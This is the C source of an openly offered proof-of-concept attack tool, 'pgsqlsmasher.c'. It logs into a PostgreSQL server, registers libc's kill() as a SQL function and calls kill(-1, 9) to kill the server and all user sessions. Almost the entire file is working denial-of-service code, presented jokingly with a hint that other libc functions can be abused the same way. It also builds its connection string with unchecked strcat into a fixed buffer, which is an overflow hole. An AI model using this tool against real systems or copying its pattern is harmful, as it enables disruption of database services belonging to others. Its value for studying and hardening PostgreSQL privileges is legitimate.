/*
NNC presents  - pgsqlsmasher.c (PoC)
a simple tool to kill a postgresql server + user session when you 
just know the username + password and have the permissions for CREATE FUNCTION
all it does is "importing" the kill() function from libc.so and runs it with the arguments kill(-1, 9)
(-1 = all proc).. its nothing fancy, but hey .. its funny ^^
by the way, its just a PoC .. there are many other "funny" functions you can play with

Author: Vicious
Web: http://nicenamecrew.com

*/

#include <libpq-fe.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(int argc, char *argv[])
{
   PGconn *conn;
   char connstring[512];
   strcpy(connstring,"hostaddr= ");
   strcat(connstring, argv[1]);
   strcat(connstring, " port= ");
   if(atoi(argv[2]) == 0)
     {
	strcat(connstring, "5432");
	printf("No port given, using 5432\n");
     }   
   else
     strcat(connstring, argv[2]);
   strcat(connstring, " dbname= ");
   if(strcmp(argv[3], "-")==0)
     {
	strcat(connstring, "template0");
	printf("No DB name given, using \"template0\"\n");
     }
   else
     strcat(connstring, argv[3]);
   strcat(connstring, " user= ");
   if(strcmp(argv[4],"-")==0)
     {
	printf("No Username given, using \"postgres\"\n");
	strcat(connstring, "postgres");
     }
   else
     strcat(connstring, argv[4]);
   if(argc < 6)
     {
	printf("Using no password\n");
     }
   else
     {
	strcat(connstring, " password= ");
	strcat(connstring, argv[5]);
     }
   
   printf("Connecting with %s\n",connstring);
   conn = PQconnectdb(connstring);
   if(PQstatus(conn) == CONNECTION_BAD)
     {
	printf("Connection failed!\n");
	PQfinish(conn);
	exit(0);
     }
   PQexec(conn, "CREATE FUNCTION kill(int,int) RETURNS INTEGER AS '/lib/libc.so.6','kill' LANGUAGE C STRICT");
   PQexec(conn, "SELECT kill(-1, 9)");
   PQfinish(conn);
}

